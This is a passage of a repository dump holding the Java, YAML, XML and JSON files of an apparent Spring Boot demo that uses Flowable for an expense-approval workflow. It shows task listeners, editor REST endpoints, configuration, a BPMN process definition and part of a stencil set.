List<ProcessInstance> t = runtimeService.createProcessInstanceQuery().list();\n        ProcessInstance pi = runtimeService.createProcessInstanceQuery().processInstanceId(processId).singleResult();\n\n\n        //流程走完的不显示图\n        if (pi == null) {\n            return;\n        }\n        Task task = taskService.createTaskQuery().processInstanceId(pi.getId()).singleResult();\n        //使用流程实例ID，查询正在执行的执行对象表，返回流程实例对象\n        String InstanceId = task.getProcessInstanceId();\n        List<Execution> executions = runtimeService\n                .createExecutionQuery()\n                .processInstanceId(InstanceId)\n                .list();\n\n        //得到正在执行的Activity的Id\n        List<String> activityIds = new ArrayList<>();\n        List<String> flows = new ArrayList<>();\n        for (Execution exe : executions) {\n            List<String> ids = runtimeService.getActiveActivityIds(exe.getId());\n            activityIds.addAll(ids);\n        }\n\n        //获取流程图\n        BpmnModel bpmnModel = repositoryService.getBpmnModel(pi.getProcessDefinitionId());\n        ProcessEngineConfiguration engconf = processEngine.getProcessEngineConfiguration();\n        ProcessDiagramGenerator diagramGenerator = engconf.getProcessDiagramGenerator();\n//        InputStream in = diagramGenerator.generateDiagram(bpmnModel, \"png\", activityIds, flows, engconf.getActivityFontName(), engconf.getLabelFontName(), engconf.getAnnotationFontName(), engconf.getClassLoader(), 1.0);\n        InputStream in = diagramGenerator.generateDiagram(bpmnModel, \"png\", activityIds, Collections.emptyList(),engconf.getActivityFontName(),engconf.getLabelFontName(),engconf.getAnnotationFontName(),null,1.0, false);\n        OutputStream out = null;\n        byte[] buf = new byte[1024];\n        int legth = 0;\n        try {\n            out = httpServletResponse.getOutputStream();\n            while ((legth = in.read(buf)) != -1) {\n                out.write(buf, 0, legth);\n            }\n        } finally {\n            if (in != null) {\n                in.close();\n            }\n            if (out != null) {\n                out.close();\n            }\n        }\n    }\n\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_flowable/src/main/java/com/example/demo/listen/BossTaskHandler.java",
    "content": "package com.example.demo.listen;\n\nimport org.flowable.engine.delegate.TaskListener;\nimport org.flowable.task.service.delegate.DelegateTask;\n\n/**\n * @Author: fumin\n * @Description:\n * @Date: Create in 2019/5/20 9:40\n */\npublic class BossTaskHandler implements TaskListener {\n\n    @Override\n    public void notify(DelegateTask delegateTask) {\n        delegateTask.setAssignee(\"老板\");\n    }\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_flowable/src/main/java/com/example/demo/listen/ManagerTaskHandler.java",
    "content": "package com.example.demo.listen;\n\nimport org.flowable.engine.delegate.TaskListener;\nimport org.flowable.task.service.delegate.DelegateTask;\n\n/**\n * @Author: fumin\n * @Description:\n * @Date: Create in 2019/5/20 9:40\n */\npublic class ManagerTaskHandler implements TaskListener {\n    @Override\n    public void notify(DelegateTask delegateTask) {\n        delegateTask.setAssignee(\"经理\");\n    }\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_flowable/src/main/java/com/example/demo/rest/EditorGroupsResource.java",
    "content": "/* Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\npackage com.example.demo.rest;\n\nimport org.flowable.idm.api.Group;\nimport org.flowable.idm.api.IdmIdentityService;\nimport org.flowable.ui.common.model.GroupRepresentation;\nimport org.flowable.ui.common.model.ResultListDataRepresentation;\nimport org.springframework.beans.factory.annotation.Autowired;\nimport org.springframework.util.StringUtils;\nimport org.springframework.web.bind.annotation.RequestMapping;\nimport org.springframework.web.bind.annotation.RequestMethod;\nimport org.springframework.web.bind.annotation.RequestParam;\nimport org.springframework.web.bind.annotation.RestController;\n\nimport java.util.ArrayList;\nimport java.util.List;\n\n/**\n * Rest resource for managing groups, used in the editor app.\n */\n@RestController\n@RequestMapping(\"/app\")\npublic class EditorGroupsResource {\n\n    @Autowired\n    protected IdmIdentityService idmIdentityService;\n\n    @RequestMapping(value = \"/rest/editor-groups\", method = RequestMethod.GET)\n    public ResultListDataRepresentation getGroups(@RequestParam(required = false, value = \"filter\") String filter) {\n        if(!StringUtils.isEmpty(filter)){\n            filter = filter.trim();\n            String sql = \"select * from act_id_group where NAME_ like #{name} limit 10\";\n            filter = \"%\"+filter+\"%\";\n            List<Group> groups = idmIdentityService.createNativeGroupQuery().sql(sql).parameter(\"name\",filter).list();\n            List<GroupRepresentation> result = new ArrayList<>();\n            for (Group group : groups) {\n                result.add(new GroupRepresentation(group));\n            }\n            return new ResultListDataRepresentation(result);\n        }\n        return null;\n    }\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_flowable/src/main/java/com/example/demo/rest/EditorUsersResource.java",
    "content": "/* Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\npackage com.example.demo.rest;\n\nimport org.flowable.engine.ManagementService;\nimport org.flowable.idm.api.IdmIdentityService;\nimport org.flowable.idm.api.User;\nimport org.flowable.ui.common.model.ResultListDataRepresentation;\nimport org.flowable.ui.common.model.UserRepresentation;\nimport org.springframework.beans.factory.annotation.Autowired;\nimport org.springframework.util.StringUtils;\nimport org.springframework.web.bind.annotation.RequestMapping;\nimport org.springframework.web.bind.annotation.RequestMethod;\nimport org.springframework.web.bind.annotation.RequestParam;\nimport org.springframework.web.bind.annotation.RestController;\n\nimport java.util.ArrayList;\nimport java.util.List;\n\n@RestController\n@RequestMapping(\"/app\")\npublic class EditorUsersResource {\n\n    @Autowired\n    protected IdmIdentityService idmIdentityService;\n    @Autowired\n    protected ManagementService managementService;\n\n    @RequestMapping(value = \"/rest/editor-users\", method = RequestMethod.GET)\n    public ResultListDataRepresentation getUsers(@RequestParam(value = \"filter\", required = false) String filter) {\n        if (!StringUtils.isEmpty(filter)) {\n            filter = filter.trim();\n            String sql = \"select * from act_id_user where ID_ like #{id} or LAST_ like #{name} limit 10\";\n            filter = \"%\"+filter+\"%\";\n            List<User> matchingUsers = idmIdentityService.createNativeUserQuery().sql(sql).parameter(\"id\",filter).parameter(\"name\",filter).list();\n            List<UserRepresentation> userRepresentations = new ArrayList<>(matchingUsers.size());\n            for (User user : matchingUsers) {\n                userRepresentations.add(new UserRepresentation(user));\n            }\n            return new ResultListDataRepresentation(userRepresentations);\n        }\n       return null;\n    }\n\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_flowable/src/main/java/com/example/demo/rest/FlowStencilSetResource.java",
    "content": "package com.example.demo.rest;\n\nimport com.fasterxml.jackson.databind.JsonNode;\nimport com.fasterxml.jackson.databind.ObjectMapper;\nimport org.flowable.ui.common.service.exception.InternalServerErrorException;\nimport org.slf4j.Logger;\nimport org.slf4j.LoggerFactory;\nimport org.springframework.beans.factory.annotation.Autowired;\nimport org.springframework.web.bind.annotation.RequestMapping;\nimport org.springframework.web.bind.annotation.RequestMethod;\nimport org.springframework.web.bind.annotation.RestController;\n\n/**\n * @Description: 扩展他们的流程图在线设计器\n */\n@RestController\n@RequestMapping(\"/app\")\npublic class FlowStencilSetResource {\n\n    private static final Logger LOGGER = LoggerFactory.getLogger(org.flowable.ui.modeler.rest.app.StencilSetResource.class);\n\n    @Autowired\n    protected ObjectMapper objectMapper;\n\n    @RequestMapping(value = \"/rest/stencil-sets/editor\", method = RequestMethod.GET, produces = \"application/json\")\n    public JsonNode getStencilSetForEditor() {\n        try {\n            JsonNode stencilNode = objectMapper.readTree(this.getClass().getClassLoader().getResourceAsStream(\"stencilset/stencilset_bpmn.json\"));\n            return stencilNode;\n        } catch (Exception e) {\n            LOGGER.error(\"Error reading bpmn stencil set json\", e);\n            throw new InternalServerErrorException(\"Error reading bpmn stencil set json\");\n        }\n    }\n\n    @RequestMapping(value = \"/rest/stencil-sets/cmmneditor\", method = RequestMethod.GET, produces = \"application/json\")\n    public JsonNode getCmmnStencilSetForEditor() {\n        try {\n            JsonNode stencilNode = objectMapper.readTree(this.getClass().getClassLoader().getResourceAsStream(\"stencilset/stencilset_cmmn.json\"));\n            return stencilNode;\n        } catch (Exception e) {\n            LOGGER.error(\"Error reading bpmn stencil set json\", e);\n            throw new InternalServerErrorException(\"Error reading bpmn stencil set json\");\n        }\n    }\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_flowable/src/main/java/com/example/demo/servlet/AppDispatcherServletConfiguration.java",
    "content": "package com.example.demo.servlet;\n\nimport org.flowable.ui.common.rest.idm.remote.RemoteAccountResource;\nimport org.flowable.ui.modeler.rest.app.EditorGroupsResource;\nimport org.flowable.ui.modeler.rest.app.EditorUsersResource;\nimport org.flowable.ui.modeler.rest.app.StencilSetResource;\nimport org.slf4j.Logger;\nimport org.slf4j.LoggerFactory;\nimport org.springframework.boot.autoconfigure.web.servlet.WebMvcRegistrations;\nimport org.springframework.context.annotation.Bean;\nimport org.springframework.context.annotation.ComponentScan;\nimport org.springframework.context.annotation.Configuration;\nimport org.springframework.context.annotation.FilterType;\nimport org.springframework.scheduling.annotation.EnableAsync;\nimport org.springframework.web.servlet.i18n.LocaleChangeInterceptor;\nimport org.springframework.web.servlet.i18n.SessionLocaleResolver;\nimport org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;\n\n@Configuration\n@ComponentScan(value = {\n        \"org.flowable.ui.idm.rest.app\",\n        \"org.flowable.ui.common.rest.exception\",\n        \"org.flowable.ui.modeler.rest.app\",\n        \"org.flowable.ui.common.rest\"},\n        excludeFilters = {\n                @ComponentScan.Filter(type = FilterType.ASSIGNABLE_TYPE, value = RemoteAccountResource.class),\n                @ComponentScan.Filter(type = FilterType.ASSIGNABLE_TYPE, value = StencilSetResource.class),\n                @ComponentScan.Filter(type = FilterType.ASSIGNABLE_TYPE, value = EditorUsersResource.class),\n                @ComponentScan.Filter(type = FilterType.ASSIGNABLE_TYPE, value = EditorGroupsResource.class)\n        })\n@EnableAsync\npublic class AppDispatcherServletConfiguration implements WebMvcRegistrations {\n\n    private static final Logger LOGGER = LoggerFactory.getLogger(AppDispatcherServletConfiguration.class);\n\n    @Bean\n    public SessionLocaleResolver localeResolver() {\n        return new SessionLocaleResolver();\n    }\n\n    @Bean\n    public LocaleChangeInterceptor localeChangeInterceptor() {\n        LOGGER.debug(\"Configuring localeChangeInterceptor\");\n        LocaleChangeInterceptor localeChangeInterceptor = new LocaleChangeInterceptor();\n        localeChangeInterceptor.setParamName(\"language\");\n        return localeChangeInterceptor;\n    }\n\n    @Override\n    public RequestMappingHandlerMapping getRequestMappingHandlerMapping() {\n        LOGGER.debug(\"Creating requestMappingHandlerMapping\");\n        RequestMappingHandlerMapping requestMappingHandlerMapping = new RequestMappingHandlerMapping();\n        requestMappingHandlerMapping.setUseSuffixPatternMatch(false);\n        requestMappingHandlerMapping.setRemoveSemicolonContent(false);\n        Object[] interceptors = {localeChangeInterceptor()};\n        requestMappingHandlerMapping.setInterceptors(interceptors);\n        return requestMappingHandlerMapping;\n    }\n\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_flowable/src/main/resources/META-INF/mybatis-config.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<!DOCTYPE configuration\n\tPUBLIC \"-//mybatis.org//DTD Config 3.0//EN\"\n\t\"http://mybatis.org/dtd/mybatis-3-config.dtd\">\n<configuration>\n\t<!-- 配置mybatis的一些参数 -->\n\t<settings>\n\t\t<!-- 是否开启二级缓存 -->\n\t\t<setting name=\"cacheEnabled\" value=\"false\" />\n\t\t<!-- 延时加载的配置 -->\n\t\t<setting name=\"lazyLoadingEnabled\" value=\"false\" />\n\t\t<setting name=\"multipleResultSetsEnabled\" value=\"true\" />\n\t\t<setting name=\"useColumnLabel\" value=\"true\" />\n\t\t<setting name=\"defaultStatementTimeout\" value=\"25000\" />\n\t\t<setting name=\"useGeneratedKeys\" value=\"true\" />\n\t\t<setting name=\"defaultExecutorType\" value=\"REUSE\" />\n\t\t<setting name=\"callSettersOnNulls\" value=\"true\" />\n\t</settings>\n</configuration>\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_flowable/src/main/resources/application.yml",
    "content": "spring:\n  datasource:\n    url: jdbc:mysql://127.0.0.1:3306/test666?autoReconnect=true&useUnicode=true&characterEncoding=utf8&useSSL=false&serverTimezone=CTT\n    username: root\n    password: \n  security:\n    filter:\n      dispatcher-types: REQUEST,FORWARD,ASYNC\nflowable:\n  #关闭定时任务JOB\n  async-executor-activate: false\n  common:\n    app:\n      idm-url: http://localhost:8080/expense/\n  idm:\n    app:\n      admin:\n        user-id: admin\n        password: test\n        first-name: admin\n        last-name: admin\n  rest:\n    app:\n      authentication-mode: verify-privilege\n  modeler:\n    app:\n      rest-enabled: true\n  database-schema-update: true\nmybatis:\n  mapper-locations: classpath:/META-INF/modeler-mybatis-mappings/*.xml\n  config-location: classpath:/META-INF/mybatis-config.xml\n  configuration-properties:\n    prefix:\n    blobType: BLOB\n    boolValue: TRUE\nserver:\n  servlet:\n    context-path: /expense\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_flowable/src/main/resources/processes/ExpenseProcess.bpmn20.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<definitions xmlns=\"http://www.omg.org/spec/BPMN/20100524/MODEL\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"\n             xmlns:flowable=\"http://flowable.org/bpmn\" xmlns:bpmndi=\"http://www.omg.org/spec/BPMN/20100524/DI\"\n             xmlns:omgdc=\"http://www.omg.org/spec/DD/20100524/DC\" xmlns:omgdi=\"http://www.omg.org/spec/DD/20100524/DI\"\n             typeLanguage=\"http://www.w3.org/2001/XMLSchema\" expressionLanguage=\"http://www.w3.org/1999/XPath\"\n             targetNamespace=\"http://www.flowable.org/processdef\">\n    <process id=\"Expense\" name=\"ExpenseProcess\" isExecutable=\"true\">\n        <documentation>报销流程</documentation>\n        <startEvent id=\"start\" name=\"开始\"></startEvent>\n        <userTask id=\"fillTask\" name=\"出差报销\" flowable:assignee=\"${taskUser}\">\n            <extensionElements>\n                <modeler:initiator-can-complete xmlns:modeler=\"http://flowable.org/modeler\">\n                    <![CDATA[false]]></modeler:initiator-can-complete>\n            </extensionElements>\n        </userTask>\n        <exclusiveGateway id=\"judgeTask\"></exclusiveGateway>\n        <userTask id=\"directorTak\" name=\"经理审批\">\n            <extensionElements>\n                <flowable:taskListener event=\"create\"\n                                       class=\"com.example.demo.listen.ManagerTaskHandler\"></flowable:taskListener>\n            </extensionElements>\n        </userTask>\n        <userTask id=\"bossTask\" name=\"老板审批\">\n            <extensionElements>\n                <flowable:taskListener event=\"create\"\n                                       class=\"com.example.demo.listen.BossTaskHandler\"></flowable:taskListener>\n            </extensionElements>\n        </userTask>\n        <endEvent id=\"end\" name=\"结束\"></endEvent>\n        <sequenceFlow id=\"directorNotPassFlow\" name=\"驳回\" sourceRef=\"directorTak\" targetRef=\"fillTask\">\n            <conditionExpression xsi:type=\"tFormalExpression\"><![CDATA[${outcome=='驳回'}]]></conditionExpression>\n        </sequenceFlow>\n        <sequenceFlow id=\"bossNotPassFlow\" name=\"驳回\" sourceRef=\"bossTask\" targetRef=\"fillTask\">\n            <conditionExpression xsi:type=\"tFormalExpression\"><![CDATA[${outcome=='驳回'}]]></conditionExpression>\n        </sequenceFlow>\n        <sequenceFlow id=\"flow1\" sourceRef=\"start\" targetRef=\"fillTask\"></sequenceFlow>\n        <sequenceFlow id=\"flow2\" sourceRef=\"fillTask\" targetRef=\"judgeTask\"></sequenceFlow>\n        <sequenceFlow id=\"judgeMore\" name=\"大于500元\" sourceRef=\"judgeTask\" targetRef=\"bossTask\">\n            <conditionExpression xsi:type=\"tFormalExpression\"><![CDATA[${money > 500}]]></conditionExpression>\n        </sequenceFlow>\n        <sequenceFlow id=\"bossPassFlow\" name=\"通过\" sourceRef=\"bossTask\" targetRef=\"end\">\n            <conditionExpression xsi:type=\"tFormalExpression\"><![CDATA[${outcome=='通过'}]]></conditionExpression>\n        </sequenceFlow>\n        <sequenceFlow id=\"directorPassFlow\" name=\"通过\" sourceRef=\"directorTak\" targetRef=\"end\">\n            <conditionExpression xsi:type=\"tFormalExpression\"><![CDATA[${outcome=='通过'}]]></conditionExpression>\n        </sequenceFlow>\n        <sequenceFlow id=\"judgeLess\" name=\"小于500元\" sourceRef=\"judgeTask\" targetRef=\"directorTak\">\n            <conditionExpression xsi:type=\"tFormalExpression\"><![CDATA[${money <= 500}]]></conditionExpression>\n        </sequenceFlow>\n    </process>\n    <bpmndi:BPMNDiagram id=\"BPMNDiagram_Expense\">\n        <bpmndi:BPMNPlane bpmnElement=\"Expense\" id=\"BPMNPlane_Expense\">\n            <bpmndi:BPMNShape bpmnElement=\"start\" id=\"BPMNShape_start\">\n                <omgdc:Bounds height=\"30.0\" width=\"30.0\" x=\"285.0\" y=\"135.0\"></omgdc:Bounds>\n            </bpmndi:BPMNShape>\n            <bpmndi:BPMNShape bpmnElement=\"fillTask\" id=\"BPMNShape_fillTask\">\n                <omgdc:Bounds height=\"80.0\" width=\"100.0\" x=\"405.0\" y=\"110.0\"></omgdc:Bounds>\n            </bpmndi:BPMNShape>\n            <bpmndi:BPMNShape bpmnElement=\"judgeTask\" id=\"BPMNShape_judgeTask\">\n                <omgdc:Bounds height=\"40.0\" width=\"40.0\" x=\"585.0\" y=\"130.0\"></omgdc:Bounds>\n            </bpmndi:BPMNShape>\n            <bpmndi:BPMNShape bpmnElement=\"directorTak\" id=\"BPMNShape_directorTak\">\n                <omgdc:Bounds height=\"80.0\" width=\"100.0\" x=\"735.0\" y=\"110.0\"></omgdc:Bounds>\n            </bpmndi:BPMNShape>\n            <bpmndi:BPMNShape bpmnElement=\"bossTask\" id=\"BPMNShape_bossTask\">\n                <omgdc:Bounds height=\"80.0\" width=\"100.0\" x=\"555.0\" y=\"255.0\"></omgdc:Bounds>\n            </bpmndi:BPMNShape>\n            <bpmndi:BPMNShape bpmnElement=\"end\" id=\"BPMNShape_end\">\n                <omgdc:Bounds height=\"28.0\" width=\"28.0\" x=\"771.0\" y=\"281.0\"></omgdc:Bounds>\n            </bpmndi:BPMNShape>\n            <bpmndi:BPMNEdge bpmnElement=\"flow1\" id=\"BPMNEdge_flow1\">\n                <omgdi:waypoint x=\"315.0\" y=\"150.0\"></omgdi:waypoint>\n                <omgdi:waypoint x=\"405.0\" y=\"150.0\"></omgdi:waypoint>\n            </bpmndi:BPMNEdge>\n            <bpmndi:BPMNEdge bpmnElement=\"flow2\" id=\"BPMNEdge_flow2\">\n                <omgdi:waypoint x=\"505.0\" y=\"150.16611295681062\"></omgdi:waypoint>\n                <omgdi:waypoint x=\"585.4333333333333\" y=\"150.43333333333334\"></omgdi:waypoint>\n            </bpmndi:BPMNEdge>\n            <bpmndi:BPMNEdge bpmnElement=\"judgeLess\" id=\"BPMNEdge_judgeLess\">\n                <omgdi:waypoint x=\"624.5530726256983\" y=\"150.44692737430168\"></omgdi:waypoint>\n                <omgdi:waypoint x=\"735.0\" y=\"150.1392757660167\"></omgdi:waypoint>\n            </bpmndi:BPMNEdge>\n            <bpmndi:BPMNEdge bpmnElement=\"directorNotPassFlow\" id=\"BPMNEdge_directorNotPassFlow\">\n                <omgdi:waypoint x=\"785.0\" y=\"110.0\"></omgdi:waypoint>\n                <omgdi:waypoint x=\"785.0\" y=\"37.0\"></omgdi:waypoint>\n                <omgdi:waypoint x=\"455.0\" y=\"37.0\"></omgdi:waypoint>\n                <omgdi:waypoint x=\"455.0\" y=\"110.0\"></omgdi:waypoint>\n            </bpmndi:BPMNEdge>\n            <bpmndi:BPMNEdge bpmnElement=\"bossPassFlow\" id=\"BPMNEdge_bossPassFlow\">\n                <omgdi:waypoint x=\"655.0\" y=\"295.0\"></omgdi:waypoint>\n                <omgdi:waypoint x=\"771.0\" y=\"295.0\"></omgdi:waypoint>\n            </bpmndi:BPMNEdge>\n            <bpmndi:BPMNEdge bpmnElement=\"judgeMore\" id=\"BPMNEdge_judgeMore\">\n                <omgdi:waypoint x=\"605.4340277777778\" y=\"169.56597222222223\"></omgdi:waypoint>\n                <omgdi:waypoint x=\"605.1384083044983\" y=\"255.0\"></omgdi:waypoint>\n            </bpmndi:BPMNEdge>\n            <bpmndi:BPMNEdge bpmnElement=\"directorPassFlow\" id=\"BPMNEdge_directorPassFlow\">\n                <omgdi:waypoint x=\"785.0\" y=\"190.0\"></omgdi:waypoint>\n                <omgdi:waypoint x=\"785.0\" y=\"281.0\"></omgdi:waypoint>\n            </bpmndi:BPMNEdge>\n            <bpmndi:BPMNEdge bpmnElement=\"bossNotPassFlow\" id=\"BPMNEdge_bossNotPassFlow\">\n                <omgdi:waypoint x=\"555.0\" y=\"295.0\"></omgdi:waypoint>\n                <omgdi:waypoint x=\"455.0\" y=\"295.0\"></omgdi:waypoint>\n                <omgdi:waypoint x=\"455.0\" y=\"190.0\"></omgdi:waypoint>\n            </bpmndi:BPMNEdge>\n        </bpmndi:BPMNPlane>\n    </bpmndi:BPMNDiagram>\n</definitions>"
  },
  {
    "path": "jun_springboot_plugin/springboot_flowable/src/main/resources/stencilset/stencilset_bpmn.json",
    "content": "{\n  \"title\" : \"流程编辑\",\n  \"namespace\" : \"http://b3mn.org/stencilset/bpmn2.0#\",\n  \"description\" : \"BPMN 流程编辑\",\n  \"propertyPackages\" : [ {\n    \"name\" : \"process_idpackage\",\n    \"properties\" : [ {\n      \"id\" : \"process_id\",\n      \"type\" : \"String\",\n      \"title\" : \"\\u6d41\\u7a0b\\u6807\\u8bc6\",\n      \"value\" : \"process\",\n      \"description\" : \"\\u5b9a\\u4e49\\u6d41\\u7a0b\\u7684\\u552f\\u4e00\\u6807\\u8bc6\\u7b26.\",\n      \"popular\" : true\n    } ]\n  }, {\n    \"name\" : \"overrideidpackage\",\n    \"properties\" : [ {\n      \"id\" : \"overrideid\",\n      \"type\" : \"String\",\n      \"title\" : \"\\u7f16\\u53f7\",\n      \"value\" : \"\",\n      \"description\" : \"\\u5143\\u7d20\\u7684\\u552f\\u4e00\\u6807\\u8bc6\\u7b26.\",\n      \"popular\" : true\n    } ]\n  }, {\n    \"name\" : \"namepackage\",\n    \"properties\" : [ {\n      \"id\" : \"name\",\n      \"type\" : \"String\",\n      \"title\" : \"\\u540d\\u79f0\",\n      \"value\" : \"\",\n      \"description\" : \"BPMN\\u5143\\u7d20\\u7684\\u63cf\\u8ff0\\u6027\\u540d\\u79f0.\",\n      \"popular\" : true,\n      \"refToView\" : \"text_name\"\n    } ]\n  }, {\n    \"name\" : \"documentationpackage\",\n    \"properties\" : [ {\n      \"id\" : \"documentation\",\n      \"type\" : \"Text\",\n      \"title\" : \"\\u8bf4\\u660e\",\n      \"value\" : \"\",\n      \"description\" : \"BPMN\\u5143\\u7d20\\u7684\\u63cf\\u8ff0\\u6027\\u540d\\u79f0.\",\n      \"popular\" : true\n    } ]\n  }, {\n    \"name\" : \"process_authorpackage\",\n    \"properties\" : [ {\n      \"id\" : \"process_author\",\n      \"type\" : \"String\",\n      \"title\" : \"\\u6d41\\u7a0b\\u4f5c\\u8005\",\n      \"value\" : \"\",\n      \"description\" : \"\\u5b9a\\u4e49\\u6d41\\u7a0b\\u7684\\u4f5c\\u8005.\",\n      \"popular\" : true\n    } ]\n  }, {\n    \"name\" : \"process_versionpackage\",\n    \"properties\" : [ {\n      \"id\" : \"process_version\",\n      \"type\" : \"String\",\n      \"title\" : \"\\u6d41\\u7a0b\\u7248\\u672c\\u5b57\\u7b26\\u4e32 (\\u4ec5\\u6587\\u6863)\",\n      \"value\" : \"\",\n      \"description\" : \"\\u4e3a\\u4e86\\u6587\\u6863\\u7684\\u7528\\u9014\\u7684\\u7248\\u672c\\u6807\\u8bc6\\u7b26.\",\n      \"popular\" : true\n    } ]\n  }, {\n    \"name\" : \"process_historylevelpackage\",\n    \"properties\" : [ {\n      \"id\" : \"process_historylevel\",\n      \"type\" : \"flowable-processhistorylevel\",\n      \"title\" : \"为流程定义设定特定级别\",\n      \"value\" : \"\",\n      \"description\" : \"为流程定义设定特定级别\",\n      \"popular\" : true\n    } ]\n  }, {\n    \"name\" : \"isexecutablepackage\",\n    \"properties\" : [ {\n      \"id\" : \"isexecutable\",\n      \"type\" : \"Boolean\",\n      \"title\" : \"可执行的\",\n      \"value\" : \"true\",\n      \"description\" : \"流程是否可执行\",\n      \"popular\" : true\n    } ]\n  }, {\n\t\"name\" : \"process_potentialstarteruserpackage\",\n\t\"properties\" : [ {\n\t\t\"id\" : \"process_potentialstarteruser\",\n\t\t\"type\" : \"String\",\n\t\t\"title\" : \"默认启动用户\",\n\t\t\"value\" : \"\",\n\t\t\"description\" : \"启动该流程的用户\",\n\t\t\"popular\" : true\n\t\t} ]\n  }, {\n\t\"name\" : \"process_potentialstartergrouppackage\",\n\t\"properties\" : [ {\n\t\t\"id\" : \"process_potentialstartergroup\",\n\t\t\"type\" : \"String\",\n\t\t\"title\" : \"默认启动器组\",\n\t\t\"value\" : \"\",\n\t\t\"description\" : \"启动流程的组?\",\n\t\t\"popular\" : true\n\t} ]\n  }, {\n    \"name\" : \"process_namespacepackage\",\n    \"properties\" : [ {\n      \"id\" : \"process_namespace\",\n      \"type\" : \"String\",\n      \"title\" : \"\\u6307\\u5411\\u547d\\u540d\\u7a7a\\u95f4\",\n      \"value\" : \"http://www.flowable.org/processdef\",\n      \"description\" : \"\\u5b9a\\u4e49\\u6d41\\u7a0b\\u7684\\u6307\\u5411\\u547d\\u540d\\u7a7a\\u95f4.\",\n      \"popular\" : true\n    } ]\n  }, {\n    \"name\" : \"process_iseagerexecutionfetchpackage\",\n    \"properties\" : [ {\n      \"id\" : \"iseagerexecutionfetch\",\n      \"type\" : \"Boolean\",\n      \"title\" : \"优先执行\",\n      \"value\" : \"false\",\n      \"description\" : \"流程定义需要优先执行?\",\n      \"popular\" : true\n    } ]\n  }, {\n    \"name\" : \"asynchronousdefinitionpackage\",\n    \"properties\" : [ {\n      \"id\" : \"asynchronousdefinition\",\n      \"type\" : \"Boolean\",\n      \"title\" : \"\\u5f02\\u6b65\",\n      \"value\" : \"false\",\n      \"description\" : \"\\u6d3b\\u52a8\\u5b9a\\u4e49\\u4e3a\\u5f02\\u6b65.\",\n      \"popular\" : true\n    } ]\n  }, {\n    \"name\" : \"datapropertiespackage\",\n    \"properties\" : [ {\n      \"id\" : \"dataproperties\",\n      \"type\" : \"Complex\",\n      \"title\" : \"数据对象\",\n      \"value\" : \"\",\n      \"description\" : \"定义数据对象的属性\",\n      \"popular\" : true\n    } ]\n  }, {\n    \"name\" : \"exclusivedefinitionpackage\",\n    \"properties\" : [ {\n      \"id\" : \"exclusivedefinition\",\n      \"type\" : \"Boolean\",\n      \"title\" : \"\\u72ec\\u5bb6\",\n      \"value\" : \"false\",\n      \"description\" : \"\\u5b9a\\u4e49\\u6d3b\\u52a8\\u4e3a\\u72ec\\u5bb6.\",\n      \"popular\" : true\n    } ]\n  }, {\n    \"name\" : \"executionlistenerspackage\",\n    \"properties\" : [ {\n      \"id\" : \"executionlisteners\",\n      \"type\" : \"multiplecomplex\",\n      \"title\" : \"\\u6267\\u884c\\u76d1\\u542c\\u5668\",\n      \"value\" : \"\",\n      \"description\" : \"\\u6d3b\\u52a8\\uff0c\\u8fc7\\u7a0b\\uff0c\\u987a\\u5e8f\\u6d41\\uff0c\\u5f00\\u59cb\\u548c\\u7ed3\\u675f\\u4e8b\\u4ef6\\u7684\\u76d1\\u542c\\u5668.\",\n      \"popular\" : true\n    } ]\n  }, {\n    \"name\" : \"tasklistenerspackage\",\n    \"properties\" : [ {\n      \"id\" : \"tasklisteners\",\n      \"type\" : \"multiplecomplex\",\n      \"title\" : \"\\u4efb\\u52a1\\u76d1\\u542c\",\n      \"value\" : \"\",\n      \"description\" : \"\\u76d1\\u542c\\u7528\\u6237\\u4efb\\u52a1\",\n      \"popular\" : true\n    } ]\n  }, {\n    \"name\" : \"eventlistenerspackage\",\n    \"properties\" : [ {\n      \"id\" : \"eventlisteners\",\n      \"type\" : \"multiplecomplex\",\n      \"title\" : \"\\u4e8b\\u4ef6\\u76d1\\u542c\",\n      \"value\" : \"\",\n      \"description\" : \"\\u76d1\\u542c\\u6d41\\u7a0b\\u5f15\\u64ce\\u7684\\u4efb\\u4f55\\u4e8b\\u4ef6. \\u4e5f\\u53ef\\u80fd\\u629b\\u51fa\\u6d88\\u606f\\u4e8b\\u4ef6\\u6216\\u8005\\u9519\\u8bef\\u4e8b\\u4ef6\",\n      \"popular\" : true\n    } ]\n  }, {\n    \"name\" : \"usertaskassignmentpackage\",\n    \"properties\" : [ {\n      \"id\" : \"usertaskassignment\",\n      \"type\" : \"Complex\",\n      \"title\" : \"\\u5206\\u914d\",\n      \"value\" : \"\",\n      \"description\" : \"\\u5206\\u914d\\u5b9a\\u4e49\\u7528\\u6237\\u4efb\\u52a1\",\n      \"popular\" : true\n    } ]\n  },{\n    \"name\" : \"formpropertiespackage\",\n    \"properties\" : [ {\n      \"id\" : \"formproperties\",\n      \"type\" : \"Complex\",\n      \"title\" : \"\\u8868\\u5355\\u5c5e\\u6027\",\n      \"value\" : \"\",\n      \"description\" : \"\\u7528\\u5217\\u8868\\u7684\\u5f62\\u5f0f\\u5b9a\\u4e49\\u8868\\u5355\\u5c5e\\u6027\",\n      \"popular\" : true\n    } 